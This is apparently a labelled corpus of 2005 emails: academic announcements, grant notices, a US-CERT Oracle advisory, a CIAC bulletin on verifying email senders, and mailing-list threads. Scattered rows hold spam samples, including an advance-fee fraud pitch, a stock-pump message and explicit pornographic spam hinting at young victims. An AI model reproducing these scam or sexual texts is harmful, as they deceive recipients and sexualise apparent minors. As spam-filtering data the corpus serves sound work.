Mechanical Engineering, University of Sheffield, UK) INVITATION TO PARTICIPANTS There are places for between fifteen and twenty participants at the workshop, in addition to the main speakers. No prior experience of info-gap analysis is necessary but each participant will be expected to present a poster summarising aspects of their current work and identifying key areas of uncertainty that have potential for info-gap analysis. We are able to pay the registration fees as well as accommodation and dinner on the night of Thursday 29 September for each participant. We cannot contribute to travel expenses. If you would like to attend, please contact Meg Buckley by 29 July 2005 with your name, full contact details, affiliation, current position and a short summary of the proposed contents of your poster. In selecting applicants we will seek a balance between industrial and university participants and between academic staff and graduate students. Participants from outside the UK are welcome. We will notify successful applicants by 8 August 2005. BACKGROUND TO INFO-GAP ANALYSIS Design and planning decisions often employ quantitative models of various phenomena. Typically, these phenomena are complex and poorly understood, so these models are accompanied by tremendous uncertainty. This uncertainty is of two sorts: aleatoric and epistemic. Aleatoric uncertainty is randomness which is usually modelled by probability distributions. Epistemic uncertainty is a knowledge gap: our understanding of the phenomena is incomplete or erroneous, so models of the phenomena are uncertain. Often the random (aleatoric) elements of the phenomena are poorly understood, so probability models are themselves subject to epistemic uncertainty as well. Info-gap theory is a method for modelling epistemic uncertainty and for evaluating and selecting between plans and designs in terms of effectiveness and robustness to both aleatoric and epistemic uncertainties. Information-gap decision theory was initiated and developed by Prof Yakov Ben-Haim and has its origins in the early 1980s in convex modelling of materials, mechanical and dynamical problems. A system model is parameterised so that system response to loading is represented by nested sets containing excursions of system behaviour. Of particular interest is the level at which system behaviour exceeds some failure criterion. In work with Isaac Elishakoff, Ben-Haim demonstrated how diligently applied probabilistic methods can result in disturbingly inaccurate estimates of the probability of failure of safety-critical systems, whilst convex analysis identified more reliable bounds on system behaviour (Ben-Haim and Elishakoff, 1990). This work was cultivated into a theory of non-probabilistic robust reliability (Ben-Haim, 1996) and subsequently into a complete theory of decision-making under severe uncertainty (Ben-Haim, 2001, 2005). An info-gap analysis has three components: a system model, an info-gap uncertainty model and performance requirements. The system model describes the structure and behaviour of the system in question, using as much information as is reasonably available. The system model may, for example, be in the form of a set of partial differential equations, a network model, or indeed a probabilistic model such as a Poisson process. The uncertainty in the system model is parameterised with an uncertainty parameter \\alpha (a positive real number), which defines a family of nested sets that bound regions or clusters of system behaviour. When \\alpha = 0 the prediction from the system model converges to a point, which is the anticipated system behaviour, given current available information. However, it is recognised that the system model is incomplete so there will be a range of variation around the nominal behaviour. Uncertainty, as defined by the parameter \\alpha, is therefore a range of variation of the actual around the nominal. No further commitment is made to the structure of uncertainty. \\alpha is not normalised and has no betting interpretation, so is clearly distinct from a probability. Next, two contrasting consequences of uncertainty are introduced: 'catastrophic failure' and 'windfall success'. Two immunity functions, a robustness function and an opportunity function, describe the variation of \\alpha with the magnitude of the unfavourable and favourable consequences. Info gap theory therefore seeks to gain from favourable excursions in uncertain system behaviour as well as developing robust strategies that guard against the effects of unfavourable excursions. Excessive emphasis on failure can result in a loss of opportunity, but the two are not always mutually exclusive. Analysis of robustness and development of strategies for robust-decision-making under severe uncertainty are now amongst the most pressing problems in the management of engineering systems. Recent events, from terrorist attacks to the Asian tsunamis illustrate the importance of designing systems that are robust to unexpected loadings. This is a concept that is straightforward at an intuitive level, but formalising a theory that can deal with truly unexpected loads and states of near total ignorance (situations where probabilistic approaches falter or fail completely) is certainly non-trivial. Info-gap theory shows great promise yet needs to be tested and applied in order to prove its fitness for purpose. The proposed workshop aims to contribute to the evaluation of info-gap theory in practice and the definition of problems that have to be overcome if info-gap is to gain widespread acceptance in engineering practice. Ben-Haim, Y. and Elishakoff, I. Convex Models of Uncertainty in Applied Mechanics. Elesevier, Amsterdam, 1990. Ben-Haim, Y. Robust Reliability in the Mechanical Sciences, Springer-Verlag, Berlin, 1996. Ben-Haim, Y. Information-gap Decision Theory: Decisions Under Severe Uncertainty, Academic Press, San Diego. 2001, Ben-Haim, Y. Info-gap Decision Theory For Engineering Design. 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Discussion leaders will frame issues such as publishing and national security, changes in journal economics, innovative use of digital technology, new archiving models, and advances in free access to research literature. Due to space limitations, attendance will be limited to no more than two representatives from each organization. Meeting registration details will be sent in the coming months. We welcome your suggestions for discussion leaders and topics. Sincerely, Ken Fulton Executive Director, NAS, and Publisher, PNAS Diane Sullenberger Executive Editor, PNAS ",0,0 Angela Reid ,economicsbb@columbia.edu,"Wed, 13 Jul 2005 10:48:10 -0400", Fwd: US – Egypt Sci & Tech Fund – Science & Tech. Grants Program,"> >Please note the following fund opportunity: > >Program: U.S./Egypt Science & Technology Grants Program >Agency: US ­ Egypt Joint Science and Technology Fund >Deadline: October 3, 2005 >URL: >http://www.usembassy.egnet.net/usegypt/grants.htm > > >The sponsor provides support for international collaborative projects in >science and technology between United States and Egyptian >partners. Projects must help the United States and Egypt utilize science >and apply technology by providing opportunities to exchange ideas, >information, skills, and techniques, and to collaborate on scientific and >technological endeavors of mutual interest and benefit. > >Special consideration will be given to proposals that address the >following priority areas: biotechnology, standards and metrology, >environmental technologies, manufacturing technologies, information >technologies, energy and other fields (e.g. geology, anthropology, new >materials and nanotechnology, economics and other social sciences, etc.). > > >Beth H. Israel, Executive Director >Office of Projects and Grants > > > > > >------------------------------------------- >You have been included in a majordomo mailing list (eco-opg@columbia.edu) >maintained by the Office of Projects and Grants. This list will allow the >rapid dissemination of important proposal/award related information as well >as the dissemination of program solicitations and related programmatic >information. >To subscribe to the list, send the following message to: >majordomo@columbia.edu >subscribe eco-opg@columbia.edu >To unsubscribe to the list, send the following message to: >majordomo@columbia.edu >unsubscribe eco-opg@columbia.edu >-------------------------------------------",0,1 CERT Advisory ,cert-advisory@cert.org,"Wed, 13 Jul 2005 16:32:38 -0400",US-CERT Technical Cyber Security Alert TA05-194A -- Oracle Products Contain Multiple Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA05-194A archive Oracle Products Contain Multiple Vulnerabilities Original release date: July 13, 2005 Last revised: -- Source: US-CERT Systems Affected According to Oracle Critical Patch Update - July 2005: * Oracle Database 10g Release 1, versions 10.1.0.2, 10.1.0.3, 10.1.0.4 * Oracle9i Database Server Release 2, versions 9.2.0.5, 9.2.0.6 * Oracle9i Database Server Release 1, versions 9.0.1.4, 9.0.1.5, 9.0.1.5 FIPS * Oracle8i Database Server Release 3, version 8.1.7.4 * Oracle8 Database Release 8.0.6, version 8.0.6.3 * Oracle Enterprise Manager Grid Control 10g, versions 10.1.0.2, 10.1.0.3 * Oracle Enterprise Manager 10g Database Control, versions 10.1.0.2, 10.1.0.3, 10.1.0.4 * Oracle Enterprise Manager Application Server Control, versions 9.0.4.0, 9.0.4.1 * Oracle Application Server 10g (9.0.4), versions 9.0.4.0, 9.0.4.1 * Oracle9i Application Server Release 2, versions 9.0.2.3, 9.0.3.1 * Oracle9i Application Server Release 1, version 1.0.2.2 * Oracle Collaboration Suite Release 2, versions 9.0.4.1, 9.0.4.2 * Oracle E-Business Suite and Applications Release 11i, versions 11.5.1 through 11.5.10 * Oracle E-Business Suite and Applications Release 11.0 * Oracle Workflow, versions 11.5.1 through 11.5.9.5 * Oracle Forms and Reports, versions 4.5.10.22, 6.0.8.25 * Oracle JInitiator, versions 1.1.8, 1.3.1 * Oracle Developer Suite, versions 9.0.2.3, 9.0.4, 9.0.4.1, 9.0.5, 10.1.2 * Oracle Express Server, version 6.3.4.0 Overview Various Oracle products and components are affected by multiple vulnerabilities. The impacts of these vulnerabilities include unauthenticated, remote code execution, information disclosure, and denial of service. I. Description Oracle released a Critical Patch Update in July 2005 that addresses more than forty vulnerabilities in different Oracle products and components. The Critical Patch Update provides information about which components are affected, what access and authorization are required, and how data confidentiality, integrity, and availability may be impacted. Public reports describe vulnerabilities related to insecure password and temporary file handling and SQL injection. US-CERT strongly recommends that sites running Oracle review the Critical Patch Update, apply patches, and take other mitigating action as appropriate. Oracle HTTP Server is based on the Apache HTTP Server. Some Oracle products include Java components from Sun Microsystems. According to Oracle, the July 2005 Critical Patch Update addresses previously disclosed vulnerabilities in Apache and Java. Oracle also notes that Oracle Database Client-only installations are not affected by vulnerabilities listed in the July 2005 Critical Patch Update. US-CERT is tracking all of these issues under VU#613562. As further information becomes available, we will publish individual Vulnerability Notes. II. Impact The impacts of these vulnerabilities vary depending on product or component and configuration. Potential consequences include remote execution of arbitrary code or commands, information disclosure, and denial of service. An attacker who compromises an Oracle database may be able to gain access to sensitive information. III. Solution Apply a patch Apply the appropriate patches or upgrade as specified in the Oracle Critical Patch Update - July 2005. The update notes that some Oracle patches are cumulative while others are not: The Oracle Database Server, Enterprise Manager, and the Oracle Application Server patches in the Updates are cumulative; each successive Critical Patch Update contains the fixes from the previous Critical Patch Updates. E-Business Suite patches are not cumulative, so E-Business Suite customers should refer to previous Critical Patch Updates to identify previous fixes they wish to apply. Oracle Collaboration Suite patches are not cumulative, so Oracle Collaboration Suite customers should refer to previous Critical Patch Updates to identify previous fixes they wish to apply. Workarounds It may be possible to mitigate some vulnerabilities by disabling or removing unnecessary components, restricting network access, and restricting access to temporary files. Oracle Critical Patch Update - July 2005 suggests setting a TNS listner password to mitigate a vulnerability in Oracle Database Server (DB08). Appendix A. Vendor Information Oracle Please see Oracle Critical Patch Update - July 2005 and Critical Patch Updates and Security Alerts. Appendix B. References * Critical Patch Update - July 2005- * Critical Patch Updates and Security Alerts - * Map of Public Vulnerability to Advisory/Alert - * US-CERT Vulnerability Note VU#613562 - * Oracle JDeveloper passes Plaintext Password - * Oracle JDeveloper Plaintext Passwords - * Oracle Forms Builder Password in Temp Files - * Oracle Forms Insecure Temporary File Handling - * Multiple High Risk Vulnerabilities in Oracle E-Business Suite 11i - _________________________________________________________________ Information used in this document came from Red-Database-Security and Oracle. Oracle credits Qualys Inc., Application Security, Inc., Red Database Security GmbH, Integrigy, NGS Software, nCircle Network Security, and Rigel Kent Security. _________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send mail to cert@cert.org with the subject: ""TA05-194A Feedback VU#613562"" _________________________________________________________________ This document is available at _________________________________________________________________ Produced 2005 by US-CERT, a government organization. _________________________________________________________________ Terms of use: _________________________________________________________________ Revision History July 13, 2005: Initial release Last updated July 13, 2005 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQtV4cxhoSezw4YfQAQLYkgf+I48YLEeutCHbzFWvz77pu+m4hs6Gltzf Nd6nhkzdfsU6arAqb1hXG5p7GEJ1adJB8Nz+df12MKxMVJAWfW6xjlEhlsHnuVJM hLThHyI166U34qbQt0SWKwlg1aKonAuP3p6XY16LCm7Vbq9G1HQgDGpK02LHbf/8 rWs2bUNqhPy7iz6wRwrF0w7CxJxI6+m6nfVnASwVknDCClz0bRyyw5oT6GUTeXOa X+DlnbMj7BLv08gJve/f5pSf7dQIZObHo6jBEV0/99ZW9P6h4dYAtLznOUYAd+5Q 8aIzfiK5RVe5uUFJsuTu+4dTV1lXfTF5eKEWNu5PWQHNT1NTXWIfCA== =HYcV -----END PGP SIGNATURE-----",0,1 """[�C�W�b]2006�̲׶ʯv�v���V����~�A���F�L�]�ন���M�~���ʯv�v��!!����j"" ",DMDX@psy1.psych.arizona.edu,"Tue, 12 Feb 1901 20:07:09 +0800",[ù�ئw] ����365�ʷR���դj��3CD�ˢ��ƨg���椤��{kmykoyrhv},wdnjnpilkl 080�������������A�R�����������w�� �@ 080�������������A�R�����������w�� �Y�����}�����C���}�����F�����o�s������ Bruceg,1,1 MovieLens ,harper@cs.umn.edu,"Thu, 14 Jul 2005 11:50:14 -0500",MovieLens Experimental Newsletter v.1,"MovieLens Experimental Newsletter v.1 MovieLens: Now with 8,715 movies, 96,940 users, and 11,931,422 ratings! --- Your Profile We have calculated the net benefit* that you get from MovieLens, a measure of the enjoyment and the value you receive minus the time and effort you put in. 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To increase your net benefit score, you may want to: * invite a buddy to use MovieLens - having a buddy in MovieLens will give you personalized group recommendations. http://movielens.umn.edu/sp?e=ib * rate popular movies - rating more popular movies will link you with other users and improve the quality of your recommendations. http://movielens.umn.edu/sp?e=rp To help others increase their net benefit scores, you may want to: * help us update the MovieLens database - updating the MovieLens database will improve the quality of information in the system. http://movielens.umn.edu/sp?e=db * rate rare movies - rating rare movies will help others get more movie recommendations. http://movielens.umn.edu/sp?e=rr Or, you can just visit MovieLens. http://movielens.umn.edu/sp?e=m --- MovieLens News and Updates MovieLens has improved its advanced search capabilities over the past few months. You can now search for movies by actors, directors, and languages. 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This message is being sent to you as part of a MovieLens study. If you wish to withdraw from the study, please visit http://movielens.umn.edu/consent?action=withdraw. ",0,1 MovieLens ,harper@cs.umn.edu,"Thu, 14 Jul 2005 11:55:10 -0500",MovieLens Experimental Newsletter v.1,"MovieLens Experimental Newsletter v.1 MovieLens: Now with 8,715 movies, 96,940 users, and 11,931,422 ratings! --- Your Profile Here are some statistics about your ratings behavior for one popular movie genre. About 38.6% of the movies that you've rated are comedies. Your average rating in this genre is 3.5. Interested in getting more out of MovieLens? Here are some options: * help us update the MovieLens database - updating the MovieLens database will improve the quality of information in the system. http://movielens.umn.edu/sp?e=db * rate rare movies - rating rare movies will help others get more movie recommendations. http://movielens.umn.edu/sp?e=rr * invite a buddy to use MovieLens - having a buddy in MovieLens will give you personalized group recommendations. http://movielens.umn.edu/sp?e=ib * rate popular movies - rating more popular movies will link you with other users and improve the quality of your recommendations. http://movielens.umn.edu/sp?e=rp Or, you can just visit MovieLens. http://movielens.umn.edu/sp?e=m --- MovieLens News and Updates MovieLens has improved its advanced search capabilities over the past few months. You can now search for movies by actors, directors, and languages. Additionally, you can now restrict your movie searches to particular genres and release dates. --- Research Study Prizes To earn an entry to win a raffle prize at the end of this study, click on any of the links above. Clicking on more than one link will not qualify you for more than one raffle entry. Remember, we're awarding one $100 prize, two $50 prizes, and five $20 prizes to research study participants! --- This message is being sent to you as part of a MovieLens study. If you wish to withdraw from the study, please visit http://movielens.umn.edu/consent?action=withdraw. ",0,1 aem116@columbia.edu,romanianclub@columbia.edu,"Fri, 15 Jul 2005 08:46:23 -0400",RE : thebreastcancersite,"To Sandra Visan and Mailing list moderator(s), I signed up for the mailing list of the Romanian Club as well as the cultural institute for related information however I am constantly bombarded with unrelated material and spam forwards. (RO Club at CU please forward this to your members). The thebreastcancersite.com site is NOT legitimate. It has very little pertinent information about the disease and it's merely a site that sells anything pink to make money. No one will donate a free mammogram. If you look closely buying a $20 bracelet will get you 1% donation to a mammogram. the real site is http://www.breastcancer.org/ If you read about the owners of the fake site you'll see they own an company ""CharityMall.com, LLC, a cause-related shopping portal"" which obviously is not NON PROFIT. If you want to really support finding a cure, donate to a hospital or a walk for breast cancer instead of flooding our inboxes with propaganda. It's inappropriate and has nothing to do with the Romanian Cultural Club. Ana-Maria Mandrila sanda visan wrote: Note: forwarded message attached. __________________________________________________ http://mail.yahoo.com Date: Thu, 14 Jul 2005 18:20:20 -0400 From: Gabriela Moraru To: Subject: Please tell ten friends today The Breast Cancer site is having trouble getting enough people to click on it daily to meet their quota of donating at least one free mammogram a day to an underprivileged woman . It takes less than a minute to go to their site and click on ""donating a mammogram"" for free (pink window in the middle). This doesn't cost you a thing. Their corporate sponsors/advertisers use the number of daily visits to donate mammogram in exchange for advertising. Here's the web site! Pass it along to people you know. http://www.thebreastcancersite.com/ ----- End forwarded message -----",0,1 ,,,,"- -0700 Received: from ciac.org (ciac.org [198.128.39.4]) by smtp-2.llnl.gov (8.12.3p2-20030917/8.12.3/LLNL evision: 1.15 $) with ESMTP id j6FFoMU7014881 for ; Fri, 15 Jul 2005 08:50:23 -0700 (PDT) Received: from hotmail.com (bay15-f23.bay15.hotmail.com [65.54.185.23]) by ciac.org (8.11.7p1+Sun/8.11.6/LLNL-6.2) with ESMTP id j6FFmor27196 for ; Fri, 15 Jul 2005 08:48:50 -0700 (PDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 15 Jul 2005 08:49:22 -0700 Message-ID: Received: from 196.3.60.17 by by15fd.bay15.hotmail.msn.com with HTTP; Fri, 15 Jul 2005 15:49:22 GMT X-Originating-IP: [196.3.60.17] X-Originating-Email: [musasike4@devbankofsouthafrica.com] X-Sender: musasike4@devbankofsouthafrica.com Reply-To: lmusasike10@excite.com From: ""lewis musasike"" To: musasike4@devbankofsouthafrica.com Subject: HELLO Date: Fri, 15 Jul 2005 15:49:22 +0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-OriginalArrivalTime: 15 Jul 2005 15:49:23.0012 (UTC) FILETIME=[C5499840:01C58954] X-Scanned-By: MIMEDefang 2.39 Hello, I am Mr Lewis Musasike, General Manager(Treasury) of Development Bank of Southern Africa.This is an urgent and very confidential business proposition. Note that everything below the line marked, X-Originating-IP: can be faked. An intruder could also fake some of the Received: from headers but then they would not match. The Received: from headers start just above the line marked, X-Originating-IP:. As an e-mail message passes from mailer to mailer on its way from the sender to the receiver, each mailer adds a Received: from header to the top of the message. Thus, the Received: from headers build up from the top of the message as the mail moves from mailer to mailer. Look at the first Received: from header just above the line marked, X-Originating-IP: Received: from 196.3.60.17 by by15fd.bay15.hotmail.msn.com with HTTP; Fri, 15 Jul 2005 15:49:22 GMT This being the first Received: from header, the address received from is the original sender of the message. Here, that is 196.3.60.17. As this IP address is not one of our local IP addresses, I can be sure that this message was not sent by my manager or anyone from my company. Looking at another header, Received: from hotmail.com (bay15-f23.bay15.hotmail.com [65.54.185.23]) by ciac.org (8.11.7p1+Sun/8.11.6/LLNL-6.2) with ESMTP id j6FFmor27196 for ; Fri, 15 Jul 2005 08:48:50 -0700 (PDT) This one has a little different format. Here the name hotmail.com is what the previous mailer told the mailer that is adding the header what its name is. Many worms and viruses fake this value. However, the next part, (bay15-f23.bay15.hotmail.com [65.54.185.23]) is created by the mailer adding the header and cannot be faked so always use the values in parenthesis to tell you who the message was received from. Note that while it is possible to stick fake Received: from headers on the top of a message before sending it, the fake headers will likely result in a discontinuity in the path a message takes or in the dates and times the message is passed. Requesting Verification ======================= Another option is to reply to the message without reading the attachment, asking the sender if he or she really sent it. This is relatively easy to do but requires you to wait for the sender�s reply before opening the attachment. When sending the reply, make sure the message is going to the correct person. Message Signing =============== The best way to verify a message is with cryptographic message signing but to do so requires a company wide infrastructure to be in place before it can work. Programs such as PGP and Entrust provide a message signing capability. The way message signing works is that a cryptographic checksum of the message is calculated using the sender�s secret key. The receiver decrypts that checksum using the sender�s public key. If the secret and public keys are not a legitimate key pair or if the message is changed in any way, the cryptographic checksum fails and you cannot trust the sender or content of the message. The cryptographic checksum is sufficiently difficult to calculate without knowing the private key that it is nearly impossible to change a signed message and have the signature still be valid. To make this work, the sender must have created a public and private key pair and have previously sent the public key to the receiver in a manner such that the receiver is sure that the public key really does belong to the sender. How you do that depends on which program you use to manage your keys. Entrust has a site wide infrastructure that securely communicates the keys from person to person in the background. With PGP you must manually send the key to the receiver or make it available on a trustworthy key server. Conclusions =========== Targeted attacks against our systems are increasing and are difficult to detect because they do not trigger antivirus or spyware detectors. This does not mean that you should not keep your antivirus and spyware detectors up to date as they are still effective against a large class of malicious code. Currently, the way to detect attack messages is to authenticate the sender of the message to make sure he really sent the message and attachment. You can do so by checking the e-mail headers, validating the message with the sender, or by using cryptographic signatures. Using cryptographic signatures is the easiest and most accurate solution for the general user after the public key infrastructure is in place. CIAC, the Computer Incident Advisory Capability, is the computer security incident response team for the U.S. Department of Energy (DOE) and the emergency backup response team for the National Institutes of Health (NIH). CIAC is located at the Lawrence Livermore National Laboratory in Livermore, California. CIAC is also a founding member of FIRST, the Forum of Incident Response and Security Teams, a global organization established to foster cooperation and coordination among computer security teams worldwide. CIAC services are available to DOE, DOE contractors, and the NIH. CIAC can be contacted at: Voice: +1 925-422-8193 (7x24) FAX: +1 925-423-8002 STU-III: +1 925-423-2604 E-mail: ciac@ciac.org Previous CIAC notices, anti-virus software, and other information are available from the CIAC Computer Security Archive. World Wide Web: http://www.ciac.org/ Anonymous FTP: ftp.ciac.org PLEASE NOTE: Many users outside of the DOE, ESnet, and NIH computing communities receive CIAC bulletins. If you are not part of these communities, please contact your agency's response team to report incidents. Your agency's team will coordinate with CIAC. The Forum of Incident Response and Security Teams (FIRST) is a world-wide organization. A list of FIRST member organizations and their constituencies can be obtained via WWW at http://www.first.org/. This document was prepared as an account of work sponsored by an agency of the United States Government. Neither the United States Government nor the University of California nor any of their employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process disclosed, or represents that its use would not infringe privately owned rights. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation or favoring by the United States Government or the University of California. The views and opinions of authors expressed herein do not necessarily state or reflect those of the United States Government or the University of California, and shall not be used for advertising or product endorsement purposes. LAST 10 CIAC BULLETINS ISSUED (Previous bulletins available from CIAC) P-246: Microsoft Word Font Parsing Vulnerability P-247: Microsoft Vulnerability in JView Profiler P-248: Microsoft Color Management Module Vulnerability P-249: krb5 Security Update P-250: Critical Patch Update - July 2005 P-251: Mozilla Security Updates P-252: Firefox Security Updates P-253: Solaris Runtime Linker Vulnerability P-254: 'tiff' Buffer Overflow Vulnerability P-255: Heimdal -----BEGIN PGP SIGNATURE----- Version: PGP 8.1 iQCVAwUBQtw3hbnzJzdsy3QZAQF0sQP+I8YL0eMaBr67YymOpkMAFjtLr8WoQxIT kBSzLn7iEqtT6SUTdMNmQuKvLWSDil9mBOf3pXWULG1VhuLvatutEvCUPXz4Nau8 /WHDxGiUvFgv/9l7anjQLNTXuaJR9+avhN/c1NbWiTQzEUMuEo9b/UhnXwtfPPzu l0mW6K5M5FM= =Y0nq -----END PGP SIGNATURE-----",0,1 PaLC Inc ,DMVAnimalFriendly@yahoogroups.com,"Fri, 15 Jul 2005 16:37:05 -0000",[DMVAnimalFriendly] Georgia: Dog and Cat License Plate Art Contest,"Georgia Alert 7-15-05:  PRESS RELEASE:  Department of Agriculture Seeks Artwork License Plate ATLANTA - The Georgia Department of Agriculture invites Georgians to participate in its Dog and Cat License Plate art contest.  As part of a funding initiative for the Dog and Cat Sterilization Program (DCSP), the contest will determine a design for a new license plate to benefit the Program.  To submit designs, participants should adhere to the following guidelines and rules: *  Art must be no larger that 14"" tall and 11"" wide *  Art must depict a dog and/or cat * Art use no more that four colors * Submit deigns to:   ""Dog and Cat Artwork""   Georgia Department of Agriculture   19 Martin Luther King, Jr. SW   Room 106   Atlanta GA  30334 *  All artwork becomes property of the Georgia Department of Agriculture A panel of judges will determine the winning submission and award up to $1,000.  The winning art will be featured on the new Dog and Cat License Plate, which will be sold in addition to the current design beginning in December 2005. The Dog and Cat License Plate currently is the primary funding source for the Dog and Cat Sterilization Program (DCSP).  The innovative program provides subsidies for spay/mneuter procedures by license and accredited veterinarians. Since this program receives no state monies, it depends on public and private donations to perform its vital mission of curbing pet overpopulation in Georgia.  Unlike other spay/neuter programs, the Dog and Cat Sterilization Program has no participation income requirements.  Any Georgia resident may benefit from the program.  Interested residents should contact their local veterinarians to confirm program participation or call the Department at (404) 656- 3667. Complete rules and regulations for both the artwork contest and the Dog and Cat Sterilization program (DCSP) are available at www.agr.state.ga.us. Georgians may support the Program now by purchasing a current Dog and Cat License Plate for their vehicles.  The commemorative license plates are available at county tag offices throughout Georgia for a $25.00 one-time fee.  More than $22.00 from each license plate sold directly benefits the DCSP.  These funds are allocated only for spay/neuter procedures and educational outreach on this healthy choice.  More than 45,000 Dog and Cat License Plates have been sold since 2003, earning more that $1.1 million.  Georgians may also contribute to the DCSP in honor or memory of a loved one.  Contributions are 100% tax-deductible and provide much-needed funding to promote spay/neuter statewide. For information contact: Chuck Bohannon (404) 656-3667 Jackie Sosby or Arty Schronce (404) 656-3689 Georgia Department of Agriculture Tommy Irvin, Commissioner 19 Martin Luther King Drive, SW Atlanta GA  30334 ### Sent by: Humane Association of Georgia, Inc. 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Terms of Service.",0,1 Alison Buckholtz ,sparc-announce@arl.org,"Fri, 15 Jul 2005 13:41:04 -0400",U.S. Senate Supports NIH Public Access Policy," Alliance for Taxpayer Access www.taxpayeraccess.org For Immediate Release July 15, 2005 For more information, contact: John D’Ignazio, 202-296-2296 x121, john@taxpayeraccess.org U.S. SENATE STRONGLY SUPPORTS NIH PUBLIC ACCESS POLICY Panel Requires NIH to Record and Post Statistics to Judge Effectiveness WASHINGTON, D.C. – One month after the U.S. House of Representatives endorsed the National Institutes of Health (NIH) Public Access policy and called for measures to judge its effectiveness, the U.S. Senate Appropriations Committee followed suit yesterday with language requesting a prompt and thorough report evaluating the success of the policy. ""Alliance for Taxpayer Access members are committed to ensuring the implementation of a meaningful public access policy at NIH, and we are encouraged by this strong signal of support from Congress,"" said Heather Joseph, Executive Director of SPARC (the Scholarly Publishing and Academic Resources Coalition), the founding alliance member. ""We are gratified that Members of the Senate Appropriations Committee recognize the important purpose of the NIH public access policy: to speed scientific progress and serve the public. ATA will continue working with the Congressional leadership to ensure the policy's success.” The Senate report accompanying the Fiscal Year 2006 Labor, Health and Human Services, and Education Appropriations bill requests a report from NIH, to be submitted by February 2006, that will include the total number of applicable works submitted since the May 2 implementation date, as well as the embargo period selected by each submitting author. ""ATA believes that the NIH policy's success will be measured by the number of articles deposited in PubMed Central and made accessible to the public soon after publication,” said Joseph. “ATA has consistently asked that the NIH provide statistics on the number of papers that are posted on NIH’s PubMed Central repository to help gauge the policy’s effectiveness. We are very pleased that both the Senate and House have requested this critical data from NIH. Moreover, we commend NIH Director Elias Zerhouni for his positive response to ATA’s request to post these critical submission data on the NIH public access website."" (To view this document, go to www.taxpayeraccess.com/docs/NIH_Postings_Response.pdf) Data recently released by NIH indicate that the number of submissions since the policy's implementation in early May is very low. Based on annual data, NIH funding is responsible for about 65,000 scholarly articles a year. Therefore, NIH grantees could have chosen to place approximately 11,000 articles on PubMed Central——making this taxpayer-funded research available free to the public. However, statistics provided by NIH this week show that only three percent of this number, or 340 articles accepted for publication, have been submitted by NIH grantees. Sharon F. Terry, President of the Genetic Alliance and a member of the Public Access Working Group, commented that ""If we were a venture capital company investing in a new business, and we saw early performance returns at the rate of three percent, we would not wait to re-examine our strategy."" The ATA remains a strong advocate for immediate open access to research funded by the NIH. Further information on this issue is available at www.taxpayeraccess.org. ### The Alliance for Taxpayer Access is an informal coalition of stakeholders who support reforms that will make publicly funded biomedical research accessible to the public. The Alliance was formed in 2004 specifically to urge that peer-reviewed articles on taxpayer-funded research at NIH become fully accessible and available online and at no extra cost to the American public. Details on the alliance may be found at www.taxpayeraccess.org. ________________ Alison Buckholtz SPARC Consultant alison@arl.org phone: 202 251 7845 ",0,0 Abdoul Anziz Said Attoumane ,Development Finance ,"Sat, 16 Jul 2005 12:44:59 +0100",Call for papers,"Dear All, As already announced, AFMIN is organising in Madagascar its 5th Annual Conference on the theme < New products and strategies in the expansion of the microfinance sector in Africa and globally >. In that respect, we want to explore existing experiences in Africa but also in Asia and Latin America in relation to the development of new products and strategies in the expansion of microfinance. Institutions, or partners, that are interested should submit a paper describing their initiative (process, implementation, results and prospects) as well as a powerpoint presentation highlighting the key features of the project. Successful papers will be shared in Madagascar. The authors will receive a scholarship to attend the meeting including airticket, accommodation at Hilton and meals. Experiences that value the utilisation of new techniques (scoring, etc.), or new technologies (ATM, palm pilot, etc.), or new products (village phone, remittances, etc.), to reduce costs and improve performance and access to the low income population are the utmost welcome. Since all papers cannot be selected, AFMIN will offer the opportunity to whose who are interested to post their documents on its website. We are deeply convinced that the existing experiences need to be inventoried and disseminated for the large benefit of the industry and the microfinance institutions. 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DMDX works fine if installed and only used by one user. I'm not sure it matters but the machine is joined to a domain. I copy the registry settings, copy the desktop icons and open up access to the DMDX directory. Thanks in advance Peter Peter Straffon p.straffon@psych.unimelb.edu.au School of Behavioural Science Phone +61(3) 83447773 The University Of Melbourne AUSTRALIA. ",0,0 Moises Medeiros ,Romanianclub@Columbia.edu,"Mon, 18 Jul 2005 06:18:19 -0540",re: may the be11 s news advise her pennies,"Hot Voip sector. Watch Alert starting now. Add iZON to your radars now The Company had earlier announced the increase of its network infrastructure and capacity to four times its initial implementation inZon Corp iZON Big News for iZON inZon Corp. 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(Win XP Pro),"At 12:16 PM 7/18/2005 +1000, you wrote: >Hi DMDX > I am trying to setup DMDX so that when a User logs onto a machine > its already setup. I have been trying a few things and I think I'm close > to having it worked out but I'm having some difficulties and would > appreciate any pointers that anyone may have. > >Its to be installed on a Windows XP Pro, SP2 machine. DMDX works fine if >installed and only used by one user. I'm not sure it matters but the >machine is joined to a domain. I copy the registry settings, copy the >desktop icons and open up access to the DMDX directory. The Easy mode shortcut (dmdx.exe -ez), it'll work for all installed users and video modes don't need to be timed, they'll all run at 60Hz (even if the display doesn't). We suggest for EZ mode scripts. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ So, what's with this guy Gideon, anyway? And why can't he ever remember his Bible?",0,0 Seth ,reliable_computing-outgoing@interval.louisiana.edu,"Mon, 18 Jul 2005 08:46:29 -0700",grandiose Innocennt Girls getting pretty it anally!," Youngest dear Lady fuucked by oldman. http://pornoadultsite.info/fplfporn.htm?iSPhfd.fX,hj UNSUBB$CRIBE http://pornoadultsite.info ",1,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 18 Jul 2005 18:59:39 -0700",[DMDX] Re: DMDX setup for default user ? (Win XP Pro),"At 10:54 AM 7/19/2005 +1000, you wrote: >jonathan, > I'm not going to be able to setup for each user, we run classes > with 100+ students over a week. In the past we have setup a single ""DMDX > user"" that they all used but we found that things go wrong when ""helpful"" > students change things. I had wanted a setup that I could apply as the > ""default user"" so each time a student logs in they get a new copy. If > you dont think this is possible then maybe we will have to us the ""EZ"" > mode. I have till Thursday to work on this, if you can make any > suggestions it would be a great 